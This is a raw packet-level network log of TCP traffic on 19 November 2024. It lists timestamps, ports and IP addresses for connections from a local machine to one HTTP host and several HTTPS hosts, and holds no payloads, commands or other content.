Nov 19, 2024 01:01:43.923995972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924004078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924015045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924019098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924031019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924034119 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924056053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924071074 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924082041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924122095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924139023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924154043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924170971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924177885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924195051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924206018 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924256086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924273014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924294949 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924299002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924312115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924315929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924331903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924339056 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924348116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924349070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924366951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924372911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924382925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924385071 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924405098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924412966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924421072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924458981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924591064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924633980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924634933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924666882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924671888 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924705982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924730062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924758911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924796104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924834013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924849987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924865007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924870968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924886942 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924890995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924902916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924906969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924923897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924926043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924940109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924951077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:43.924957991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.924984932 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:43.938488960 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.939750910 CET	49930	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.939763069 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.940187931 CET	49930	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.940192938 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.943337917 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:43.943341970 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:43.946136951 CET	443	49933	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.946676970 CET	49933	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.946700096 CET	443	49933	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.947494030 CET	443	49932	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.947518110 CET	49933	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.947530031 CET	443	49933	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.948190928 CET	49932	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.948218107 CET	443	49932	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.948868036 CET	49932	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.948873997 CET	443	49932	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.963920116 CET	443	49931	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.964467049 CET	49931	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.964497089 CET	443	49931	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.964958906 CET	49931	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.964966059 CET	443	49931	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.972316980 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:43.972332954 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:43.977917910 CET	443	49934	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.978423119 CET	49934	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.978461027 CET	443	49934	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:43.978908062 CET	49934	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:43.978914976 CET	443	49934	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.027590036 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:44.027622938 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:44.027642965 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:44.027677059 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:44.027682066 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:44.027710915 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:44.027719975 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:44.027744055 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:44.027764082 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:44.027770042 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:44.028232098 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:44.028285980 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:44.030226946 CET	49929	443	192.168.2.6	23.192.223.232
Nov 19, 2024 01:01:44.030239105 CET	443	49929	23.192.223.232	192.168.2.6
Nov 19, 2024 01:01:44.080734015 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.080777884 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.080832958 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.080866098 CET	49930	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.080904007 CET	49930	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.081069946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.081091881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.081104040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.081115007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.081126928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.081130981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.081137896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.081149101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.081161976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.081161976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.081172943 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.081192017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.085921049 CET	443	49932	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.086673021 CET	443	49932	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.086716890 CET	443	49932	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.086741924 CET	49932	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.087296963 CET	49932	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.088654995 CET	443	49933	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.088742018 CET	443	49933	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.088968039 CET	49933	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.091701984 CET	49930	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.091701984 CET	49930	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.091715097 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.091727018 CET	443	49930	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.097450972 CET	49932	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.097479105 CET	443	49932	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.104623079 CET	49933	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.104651928 CET	443	49933	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.104688883 CET	49933	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.104696035 CET	443	49933	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.111926079 CET	443	49931	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.111993074 CET	443	49931	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.112121105 CET	49931	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.121423006 CET	443	49934	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.121572018 CET	443	49934	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.121622086 CET	49934	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.192460060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192536116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192555904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192567110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192578077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192588091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192594051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192606926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192615986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192619085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192630053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192641020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192651033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192661047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192663908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192673922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192681074 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192687035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192709923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192734957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192740917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192759991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192771912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192775965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192781925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192792892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192792892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192805052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192812920 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192835093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192838907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192852974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192867041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192882061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192889929 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192893982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192905903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192908049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192936897 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.192951918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.192955017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193028927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193039894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193062067 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193084955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193106890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193120956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193133116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193145990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193159103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193161011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193180084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193186998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193196058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193207026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193217039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193218946 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193237066 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193237066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193248034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193253994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193258047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193269968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193280935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193309069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193356037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193367004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193377972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193387985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193391085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193398952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193413973 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193423033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193435907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193443060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193449974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193460941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193463087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193486929 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193509102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193871021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193907022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193911076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193922997 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193943024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193958998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.193965912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193978071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.193989038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194000959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194011927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194036007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194099903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194111109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194123030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194133997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194149017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194153070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194155931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194155931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194169044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194170952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194174051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194247007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194253922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194263935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194272995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194283009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194287062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194293976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194304943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194314003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194315910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194325924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194336891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194341898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194350004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194359064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194397926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.194859982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194957972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194969893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194982052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194993019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.194998980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195003986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195017099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195028067 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195048094 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195080996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195092916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195102930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195112944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195115089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195132971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195142984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195147038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195158005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195168972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195168972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195182085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195192099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195204973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195207119 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195233107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195245981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195250034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195262909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195274115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195286036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195297003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195300102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195307016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195326090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195343971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195374966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195863008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195873976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195885897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195904016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195918083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195935965 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195943117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195954084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.195959091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195972919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.195992947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196017981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196038008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196049929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196070910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196074963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196089983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196095943 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196105957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196115971 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196120024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196134090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196135044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196146965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196158886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196176052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196177006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196221113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196242094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196253061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196265936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196280003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196288109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196290970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196302891 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196314096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196322918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196325064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196343899 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196360111 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.196877003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196887970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.196899891 CET	80	49889	185.215.113.206	192.168.2.6
